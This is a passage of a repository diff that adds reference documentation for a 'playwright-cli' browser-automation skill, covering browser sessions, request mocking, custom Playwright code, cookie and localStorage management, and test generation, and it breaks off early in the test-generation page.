|
||||||
|
### Install
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli install --skills
|
||||||
|
playwright-cli install-browser
|
||||||
|
```
|
||||||
|
|
||||||
|
### Configuration
|
||||||
|
```bash
|
||||||
|
# Use specific browser when creating session
|
||||||
|
playwright-cli open --browser=chrome
|
||||||
|
playwright-cli open --browser=firefox
|
||||||
|
playwright-cli open --browser=webkit
|
||||||
|
playwright-cli open --browser=msedge
|
||||||
|
# Connect to browser via extension
|
||||||
|
playwright-cli open --extension
|
||||||
|
|
||||||
|
# Use persistent profile (by default profile is in-memory)
|
||||||
|
playwright-cli open --persistent
|
||||||
|
# Use persistent profile with custom directory
|
||||||
|
playwright-cli open --profile=/path/to/profile
|
||||||
|
|
||||||
|
# Start with config file
|
||||||
|
playwright-cli open --config=my-config.json
|
||||||
|
|
||||||
|
# Close the browser
|
||||||
|
playwright-cli close
|
||||||
|
# Delete user data for the default session
|
||||||
|
playwright-cli delete-data
|
||||||
|
```
|
||||||
|
|
||||||
|
### Browser Sessions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# create new browser session named "mysession" with persistent profile
|
||||||
|
playwright-cli -s=mysession open example.com --persistent
|
||||||
|
# same with manually specified profile directory (use when requested explicitly)
|
||||||
|
playwright-cli -s=mysession open example.com --profile=/path/to/profile
|
||||||
|
playwright-cli -s=mysession click e6
|
||||||
|
playwright-cli -s=mysession close # stop a named browser
|
||||||
|
playwright-cli -s=mysession delete-data # delete user data for persistent session
|
||||||
|
|
||||||
|
playwright-cli list
|
||||||
|
# Close all browsers
|
||||||
|
playwright-cli close-all
|
||||||
|
# Forcefully kill all browser processes
|
||||||
|
playwright-cli kill-all
|
||||||
|
```
|
||||||
|
|
||||||
|
## Example: Form submission
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli open https://example.com/form
|
||||||
|
playwright-cli snapshot
|
||||||
|
|
||||||
|
playwright-cli fill e1 "user@example.com"
|
||||||
|
playwright-cli fill e2 "password123"
|
||||||
|
playwright-cli click e3
|
||||||
|
playwright-cli snapshot
|
||||||
|
playwright-cli close
|
||||||
|
```
|
||||||
|
|
||||||
|
## Example: Multi-tab workflow
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
playwright-cli tab-new https://example.com/other
|
||||||
|
playwright-cli tab-list
|
||||||
|
playwright-cli tab-select 0
|
||||||
|
playwright-cli snapshot
|
||||||
|
playwright-cli close
|
||||||
|
```
|
||||||
|
|
||||||
|
## Example: Debugging with DevTools
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
playwright-cli click e4
|
||||||
|
playwright-cli fill e7 "test"
|
||||||
|
playwright-cli console
|
||||||
|
playwright-cli network
|
||||||
|
playwright-cli close
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
playwright-cli tracing-start
|
||||||
|
playwright-cli click e4
|
||||||
|
playwright-cli fill e7 "test"
|
||||||
|
playwright-cli tracing-stop
|
||||||
|
playwright-cli close
|
||||||
|
```
|
||||||
|
|
||||||
|
## Specific tasks
|
||||||
|
|
||||||
|
* **Request mocking** [references/request-mocking.md](references/request-mocking.md)
|
||||||
|
* **Running Playwright code** [references/running-code.md](references/running-code.md)
|
||||||
|
* **Browser session management** [references/session-management.md](references/session-management.md)
|
||||||
|
* **Storage state (cookies, localStorage)** [references/storage-state.md](references/storage-state.md)
|
||||||
|
* **Test generation** [references/test-generation.md](references/test-generation.md)
|
||||||
|
* **Tracing** [references/tracing.md](references/tracing.md)
|
||||||
|
* **Video recording** [references/video-recording.md](references/video-recording.md)
|
||||||
87
.claude/skills/playwright-cli/references/request-mocking.md
Normal file
87
.claude/skills/playwright-cli/references/request-mocking.md
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
# Request Mocking
|
||||||
|
|
||||||
|
Intercept, mock, modify, and block network requests.
|
||||||
|
|
||||||
|
## CLI Route Commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Mock with custom status
|
||||||
|
playwright-cli route "**/*.jpg" --status=404
|
||||||
|
|
||||||
|
# Mock with JSON body
|
||||||
|
playwright-cli route "**/api/users" --body='[{"id":1,"name":"Alice"}]' --content-type=application/json
|
||||||
|
|
||||||
|
# Mock with custom headers
|
||||||
|
playwright-cli route "**/api/data" --body='{"ok":true}' --header="X-Custom: value"
|
||||||
|
|
||||||
|
# Remove headers from requests
|
||||||
|
playwright-cli route "**/*" --remove-header=cookie,authorization
|
||||||
|
|
||||||
|
# List active routes
|
||||||
|
playwright-cli route-list
|
||||||
|
|
||||||
|
# Remove a route or all routes
|
||||||
|
playwright-cli unroute "**/*.jpg"
|
||||||
|
playwright-cli unroute
|
||||||
|
```
|
||||||
|
|
||||||
|
## URL Patterns
|
||||||
|
|
||||||
|
```
|
||||||
|
**/api/users - Exact path match
|
||||||
|
**/api/*/details - Wildcard in path
|
||||||
|
**/*.{png,jpg,jpeg} - Match file extensions
|
||||||
|
**/search?q=* - Match query parameters
|
||||||
|
```
|
||||||
|
|
||||||
|
## Advanced Mocking with run-code
|
||||||
|
|
||||||
|
For conditional responses, request body inspection, response modification, or delays:
|
||||||
|
|
||||||
|
### Conditional Response Based on Request
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.route('**/api/login', route => {
|
||||||
|
const body = route.request().postDataJSON();
|
||||||
|
if (body.username === 'admin') {
|
||||||
|
route.fulfill({ body: JSON.stringify({ token: 'mock-token' }) });
|
||||||
|
} else {
|
||||||
|
route.fulfill({ status: 401, body: JSON.stringify({ error: 'Invalid' }) });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Modify Real Response
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.route('**/api/user', async route => {
|
||||||
|
const response = await route.fetch();
|
||||||
|
const json = await response.json();
|
||||||
|
json.isPremium = true;
|
||||||
|
await route.fulfill({ response, json });
|
||||||
|
});
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Simulate Network Failures
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.route('**/api/offline', route => route.abort('internetdisconnected'));
|
||||||
|
}"
|
||||||
|
# Options: connectionrefused, timedout, connectionreset, internetdisconnected
|
||||||
|
```
|
||||||
|
|
||||||
|
### Delayed Response
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.route('**/api/slow', async route => {
|
||||||
|
await new Promise(r => setTimeout(r, 3000));
|
||||||
|
route.fulfill({ body: JSON.stringify({ data: 'loaded' }) });
|
||||||
|
});
|
||||||
|
}"
|
||||||
|
```
|
||||||
232
.claude/skills/playwright-cli/references/running-code.md
Normal file
232
.claude/skills/playwright-cli/references/running-code.md
Normal file
@@ -0,0 +1,232 @@
|
|||||||
|
# Running Custom Playwright Code
|
||||||
|
|
||||||
|
Use `run-code` to execute arbitrary Playwright code for advanced scenarios not covered by CLI commands.
|
||||||
|
|
||||||
|
## Syntax
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
// Your Playwright code here
|
||||||
|
// Access page.context() for browser context operations
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Geolocation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Grant geolocation permission and set location
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.context().grantPermissions(['geolocation']);
|
||||||
|
await page.context().setGeolocation({ latitude: 37.7749, longitude: -122.4194 });
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Set location to London
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.context().grantPermissions(['geolocation']);
|
||||||
|
await page.context().setGeolocation({ latitude: 51.5074, longitude: -0.1278 });
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Clear geolocation override
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.context().clearPermissions();
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Permissions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Grant multiple permissions
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.context().grantPermissions([
|
||||||
|
'geolocation',
|
||||||
|
'notifications',
|
||||||
|
'camera',
|
||||||
|
'microphone'
|
||||||
|
]);
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Grant permissions for specific origin
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.context().grantPermissions(['clipboard-read'], {
|
||||||
|
origin: 'https://example.com'
|
||||||
|
});
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Media Emulation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Emulate dark color scheme
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.emulateMedia({ colorScheme: 'dark' });
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Emulate light color scheme
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.emulateMedia({ colorScheme: 'light' });
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Emulate reduced motion
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.emulateMedia({ reducedMotion: 'reduce' });
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Emulate print media
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.emulateMedia({ media: 'print' });
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Wait Strategies
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Wait for network idle
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.waitForLoadState('networkidle');
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Wait for specific element
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.waitForSelector('.loading', { state: 'hidden' });
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Wait for function to return true
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.waitForFunction(() => window.appReady === true);
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Wait with timeout
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.waitForSelector('.result', { timeout: 10000 });
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Frames and Iframes
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Work with iframe
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
const frame = page.locator('iframe#my-iframe').contentFrame();
|
||||||
|
await frame.locator('button').click();
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Get all frames
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
const frames = page.frames();
|
||||||
|
return frames.map(f => f.url());
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## File Downloads
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Handle file download
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
const [download] = await Promise.all([
|
||||||
|
page.waitForEvent('download'),
|
||||||
|
page.click('a.download-link')
|
||||||
|
]);
|
||||||
|
await download.saveAs('./downloaded-file.pdf');
|
||||||
|
return download.suggestedFilename();
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Clipboard
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Read clipboard (requires permission)
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.context().grantPermissions(['clipboard-read']);
|
||||||
|
return await page.evaluate(() => navigator.clipboard.readText());
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Write to clipboard
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.evaluate(text => navigator.clipboard.writeText(text), 'Hello clipboard!');
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Page Information
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Get page title
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
return await page.title();
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Get current URL
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
return page.url();
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Get page content
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
return await page.content();
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Get viewport size
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
return page.viewportSize();
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## JavaScript Execution
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Execute JavaScript and return result
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
return await page.evaluate(() => {
|
||||||
|
return {
|
||||||
|
userAgent: navigator.userAgent,
|
||||||
|
language: navigator.language,
|
||||||
|
cookiesEnabled: navigator.cookieEnabled
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Pass arguments to evaluate
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
const multiplier = 5;
|
||||||
|
return await page.evaluate(m => document.querySelectorAll('li').length * m, multiplier);
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Error Handling
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Try-catch in run-code
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
try {
|
||||||
|
await page.click('.maybe-missing', { timeout: 1000 });
|
||||||
|
return 'clicked';
|
||||||
|
} catch (e) {
|
||||||
|
return 'element not found';
|
||||||
|
}
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Complex Workflows
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Login and save state
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.goto('https://example.com/login');
|
||||||
|
await page.fill('input[name=email]', 'user@example.com');
|
||||||
|
await page.fill('input[name=password]', 'secret');
|
||||||
|
await page.click('button[type=submit]');
|
||||||
|
await page.waitForURL('**/dashboard');
|
||||||
|
await page.context().storageState({ path: 'auth.json' });
|
||||||
|
return 'Login successful';
|
||||||
|
}"
|
||||||
|
|
||||||
|
# Scrape data from multiple pages
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
const results = [];
|
||||||
|
for (let i = 1; i <= 3; i++) {
|
||||||
|
await page.goto(\`https://example.com/page/\${i}\`);
|
||||||
|
const items = await page.locator('.item').allTextContents();
|
||||||
|
results.push(...items);
|
||||||
|
}
|
||||||
|
return results;
|
||||||
|
}"
|
||||||
|
```
|
||||||
169
.claude/skills/playwright-cli/references/session-management.md
Normal file
169
.claude/skills/playwright-cli/references/session-management.md
Normal file
@@ -0,0 +1,169 @@
|
|||||||
|
# Browser Session Management
|
||||||
|
|
||||||
|
Run multiple isolated browser sessions concurrently with state persistence.
|
||||||
|
|
||||||
|
## Named Browser Sessions
|
||||||
|
|
||||||
|
Use `-b` flag to isolate browser contexts:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Browser 1: Authentication flow
|
||||||
|
playwright-cli -s=auth open https://app.example.com/login
|
||||||
|
|
||||||
|
# Browser 2: Public browsing (separate cookies, storage)
|
||||||
|
playwright-cli -s=public open https://example.com
|
||||||
|
|
||||||
|
# Commands are isolated by browser session
|
||||||
|
playwright-cli -s=auth fill e1 "user@example.com"
|
||||||
|
playwright-cli -s=public snapshot
|
||||||
|
```
|
||||||
|
|
||||||
|
## Browser Session Isolation Properties
|
||||||
|
|
||||||
|
Each browser session has independent:
|
||||||
|
- Cookies
|
||||||
|
- LocalStorage / SessionStorage
|
||||||
|
- IndexedDB
|
||||||
|
- Cache
|
||||||
|
- Browsing history
|
||||||
|
- Open tabs
|
||||||
|
|
||||||
|
## Browser Session Commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List all browser sessions
|
||||||
|
playwright-cli list
|
||||||
|
|
||||||
|
# Stop a browser session (close the browser)
|
||||||
|
playwright-cli close # stop the default browser
|
||||||
|
playwright-cli -s=mysession close # stop a named browser
|
||||||
|
|
||||||
|
# Stop all browser sessions
|
||||||
|
playwright-cli close-all
|
||||||
|
|
||||||
|
# Forcefully kill all daemon processes (for stale/zombie processes)
|
||||||
|
playwright-cli kill-all
|
||||||
|
|
||||||
|
# Delete browser session user data (profile directory)
|
||||||
|
playwright-cli delete-data # delete default browser data
|
||||||
|
playwright-cli -s=mysession delete-data # delete named browser data
|
||||||
|
```
|
||||||
|
|
||||||
|
## Environment Variable
|
||||||
|
|
||||||
|
Set a default browser session name via environment variable:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export PLAYWRIGHT_CLI_SESSION="mysession"
|
||||||
|
playwright-cli open example.com # Uses "mysession" automatically
|
||||||
|
```
|
||||||
|
|
||||||
|
## Common Patterns
|
||||||
|
|
||||||
|
### Concurrent Scraping
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
# Scrape multiple sites concurrently
|
||||||
|
|
||||||
|
# Start all browsers
|
||||||
|
playwright-cli -s=site1 open https://site1.com &
|
||||||
|
playwright-cli -s=site2 open https://site2.com &
|
||||||
|
playwright-cli -s=site3 open https://site3.com &
|
||||||
|
wait
|
||||||
|
|
||||||
|
# Take snapshots from each
|
||||||
|
playwright-cli -s=site1 snapshot
|
||||||
|
playwright-cli -s=site2 snapshot
|
||||||
|
playwright-cli -s=site3 snapshot
|
||||||
|
|
||||||
|
# Cleanup
|
||||||
|
playwright-cli close-all
|
||||||
|
```
|
||||||
|
|
||||||
|
### A/B Testing Sessions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Test different user experiences
|
||||||
|
playwright-cli -s=variant-a open "https://app.com?variant=a"
|
||||||
|
playwright-cli -s=variant-b open "https://app.com?variant=b"
|
||||||
|
|
||||||
|
# Compare
|
||||||
|
playwright-cli -s=variant-a screenshot
|
||||||
|
playwright-cli -s=variant-b screenshot
|
||||||
|
```
|
||||||
|
|
||||||
|
### Persistent Profile
|
||||||
|
|
||||||
|
By default, browser profile is kept in memory only. Use `--persistent` flag on `open` to persist the browser profile to disk:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Use persistent profile (auto-generated location)
|
||||||
|
playwright-cli open https://example.com --persistent
|
||||||
|
|
||||||
|
# Use persistent profile with custom directory
|
||||||
|
playwright-cli open https://example.com --profile=/path/to/profile
|
||||||
|
```
|
||||||
|
|
||||||
|
## Default Browser Session
|
||||||
|
|
||||||
|
When `-s` is omitted, commands use the default browser session:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# These use the same default browser session
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
playwright-cli snapshot
|
||||||
|
playwright-cli close # Stops default browser
|
||||||
|
```
|
||||||
|
|
||||||
|
## Browser Session Configuration
|
||||||
|
|
||||||
|
Configure a browser session with specific settings when opening:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Open with config file
|
||||||
|
playwright-cli open https://example.com --config=.playwright/my-cli.json
|
||||||
|
|
||||||
|
# Open with specific browser
|
||||||
|
playwright-cli open https://example.com --browser=firefox
|
||||||
|
|
||||||
|
# Open in headed mode
|
||||||
|
playwright-cli open https://example.com --headed
|
||||||
|
|
||||||
|
# Open with persistent profile
|
||||||
|
playwright-cli open https://example.com --persistent
|
||||||
|
```
|
||||||
|
|
||||||
|
## Best Practices
|
||||||
|
|
||||||
|
### 1. Name Browser Sessions Semantically
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# GOOD: Clear purpose
|
||||||
|
playwright-cli -s=github-auth open https://github.com
|
||||||
|
playwright-cli -s=docs-scrape open https://docs.example.com
|
||||||
|
|
||||||
|
# AVOID: Generic names
|
||||||
|
playwright-cli -s=s1 open https://github.com
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Always Clean Up
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Stop browsers when done
|
||||||
|
playwright-cli -s=auth close
|
||||||
|
playwright-cli -s=scrape close
|
||||||
|
|
||||||
|
# Or stop all at once
|
||||||
|
playwright-cli close-all
|
||||||
|
|
||||||
|
# If browsers become unresponsive or zombie processes remain
|
||||||
|
playwright-cli kill-all
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Delete Stale Browser Data
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Remove old browser data to free disk space
|
||||||
|
playwright-cli -s=oldsession delete-data
|
||||||
|
```
|
||||||
275
.claude/skills/playwright-cli/references/storage-state.md
Normal file
275
.claude/skills/playwright-cli/references/storage-state.md
Normal file
@@ -0,0 +1,275 @@
|
|||||||
|
# Storage Management
|
||||||
|
|
||||||
|
Manage cookies, localStorage, sessionStorage, and browser storage state.
|
||||||
|
|
||||||
|
## Storage State
|
||||||
|
|
||||||
|
Save and restore complete browser state including cookies and storage.
|
||||||
|
|
||||||
|
### Save Storage State
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Save to auto-generated filename (storage-state-{timestamp}.json)
|
||||||
|
playwright-cli state-save
|
||||||
|
|
||||||
|
# Save to specific filename
|
||||||
|
playwright-cli state-save my-auth-state.json
|
||||||
|
```
|
||||||
|
|
||||||
|
### Restore Storage State
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Load storage state from file
|
||||||
|
playwright-cli state-load my-auth-state.json
|
||||||
|
|
||||||
|
# Reload page to apply cookies
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
### Storage State File Format
|
||||||
|
|
||||||
|
The saved file contains:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cookies": [
|
||||||
|
{
|
||||||
|
"name": "session_id",
|
||||||
|
"value": "abc123",
|
||||||
|
"domain": "example.com",
|
||||||
|
"path": "/",
|
||||||
|
"expires": 1735689600,
|
||||||
|
"httpOnly": true,
|
||||||
|
"secure": true,
|
||||||
|
"sameSite": "Lax"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"origins": [
|
||||||
|
{
|
||||||
|
"origin": "https://example.com",
|
||||||
|
"localStorage": [
|
||||||
|
{ "name": "theme", "value": "dark" },
|
||||||
|
{ "name": "user_id", "value": "12345" }
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Cookies
|
||||||
|
|
||||||
|
### List All Cookies
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli cookie-list
|
||||||
|
```
|
||||||
|
|
||||||
|
### Filter Cookies by Domain
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli cookie-list --domain=example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
### Filter Cookies by Path
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli cookie-list --path=/api
|
||||||
|
```
|
||||||
|
|
||||||
|
### Get Specific Cookie
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli cookie-get session_id
|
||||||
|
```
|
||||||
|
|
||||||
|
### Set a Cookie
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Basic cookie
|
||||||
|
playwright-cli cookie-set session abc123
|
||||||
|
|
||||||
|
# Cookie with options
|
||||||
|
playwright-cli cookie-set session abc123 --domain=example.com --path=/ --httpOnly --secure --sameSite=Lax
|
||||||
|
|
||||||
|
# Cookie with expiration (Unix timestamp)
|
||||||
|
playwright-cli cookie-set remember_me token123 --expires=1735689600
|
||||||
|
```
|
||||||
|
|
||||||
|
### Delete a Cookie
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli cookie-delete session_id
|
||||||
|
```
|
||||||
|
|
||||||
|
### Clear All Cookies
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli cookie-clear
|
||||||
|
```
|
||||||
|
|
||||||
|
### Advanced: Multiple Cookies or Custom Options
|
||||||
|
|
||||||
|
For complex scenarios like adding multiple cookies at once, use `run-code`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.context().addCookies([
|
||||||
|
{ name: 'session_id', value: 'sess_abc123', domain: 'example.com', path: '/', httpOnly: true },
|
||||||
|
{ name: 'preferences', value: JSON.stringify({ theme: 'dark' }), domain: 'example.com', path: '/' }
|
||||||
|
]);
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Local Storage
|
||||||
|
|
||||||
|
### List All localStorage Items
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli localstorage-list
|
||||||
|
```
|
||||||
|
|
||||||
|
### Get Single Value
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli localstorage-get token
|
||||||
|
```
|
||||||
|
|
||||||
|
### Set Value
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli localstorage-set theme dark
|
||||||
|
```
|
||||||
|
|
||||||
|
### Set JSON Value
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli localstorage-set user_settings '{"theme":"dark","language":"en"}'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Delete Single Item
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli localstorage-delete token
|
||||||
|
```
|
||||||
|
|
||||||
|
### Clear All localStorage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli localstorage-clear
|
||||||
|
```
|
||||||
|
|
||||||
|
### Advanced: Multiple Operations
|
||||||
|
|
||||||
|
For complex scenarios like setting multiple values at once, use `run-code`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.evaluate(() => {
|
||||||
|
localStorage.setItem('token', 'jwt_abc123');
|
||||||
|
localStorage.setItem('user_id', '12345');
|
||||||
|
localStorage.setItem('expires_at', Date.now() + 3600000);
|
||||||
|
});
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Session Storage
|
||||||
|
|
||||||
|
### List All sessionStorage Items
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli sessionstorage-list
|
||||||
|
```
|
||||||
|
|
||||||
|
### Get Single Value
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli sessionstorage-get form_data
|
||||||
|
```
|
||||||
|
|
||||||
|
### Set Value
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli sessionstorage-set step 3
|
||||||
|
```
|
||||||
|
|
||||||
|
### Delete Single Item
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli sessionstorage-delete step
|
||||||
|
```
|
||||||
|
|
||||||
|
### Clear sessionStorage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli sessionstorage-clear
|
||||||
|
```
|
||||||
|
|
||||||
|
## IndexedDB
|
||||||
|
|
||||||
|
### List Databases
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
return await page.evaluate(async () => {
|
||||||
|
const databases = await indexedDB.databases();
|
||||||
|
return databases;
|
||||||
|
});
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Delete Database
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli run-code "async page => {
|
||||||
|
await page.evaluate(() => {
|
||||||
|
indexedDB.deleteDatabase('myDatabase');
|
||||||
|
});
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Common Patterns
|
||||||
|
|
||||||
|
### Authentication State Reuse
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Step 1: Login and save state
|
||||||
|
playwright-cli open https://app.example.com/login
|
||||||
|
playwright-cli snapshot
|
||||||
|
playwright-cli fill e1 "user@example.com"
|
||||||
|
playwright-cli fill e2 "password123"
|
||||||
|
playwright-cli click e3
|
||||||
|
|
||||||
|
# Save the authenticated state
|
||||||
|
playwright-cli state-save auth.json
|
||||||
|
|
||||||
|
# Step 2: Later, restore state and skip login
|
||||||
|
playwright-cli state-load auth.json
|
||||||
|
playwright-cli open https://app.example.com/dashboard
|
||||||
|
# Already logged in!
|
||||||
|
```
|
||||||
|
|
||||||
|
### Save and Restore Roundtrip
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Set up authentication state
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
playwright-cli eval "() => { document.cookie = 'session=abc123'; localStorage.setItem('user', 'john'); }"
|
||||||
|
|
||||||
|
# Save state to file
|
||||||
|
playwright-cli state-save my-session.json
|
||||||
|
|
||||||
|
# ... later, in a new session ...
|
||||||
|
|
||||||
|
# Restore state
|
||||||
|
playwright-cli state-load my-session.json
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
# Cookies and localStorage are restored!
|
||||||
|
```
|
||||||
|
|
||||||
|
## Security Notes
|
||||||
|
|
||||||
|
- Never commit storage state files containing auth tokens
|
||||||
|
- Add `*.auth-state.json` to `.gitignore`
|
||||||
|
- Delete state files after automation completes
|
||||||
|
- Use environment variables for sensitive data
|
||||||
|
- By default, sessions run in-memory mode which is safer for sensitive operations
|
||||||
88
.claude/skills/playwright-cli/references/test-generation.md
Normal file
88
.claude/skills/playwright-cli/references/test-generation.md
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
# Test Generation
|
||||||
|
|
||||||
|
Generate Playwright test code automatically as you interact with the browser.
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
|
||||||
|
Every action you perform with `playwright-cli` generates corresponding Playwright TypeScript code.
|
||||||
|
This code appears in the output and can be copied directly into your test files.
|
||||||
|
|
||||||
|
## Example Workflow
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Start a session
|
||||||
|
playwright-cli open https://example.com/login
|
||||||
|
|
||||||
|
# Take a snapshot to see elements
|
||||||
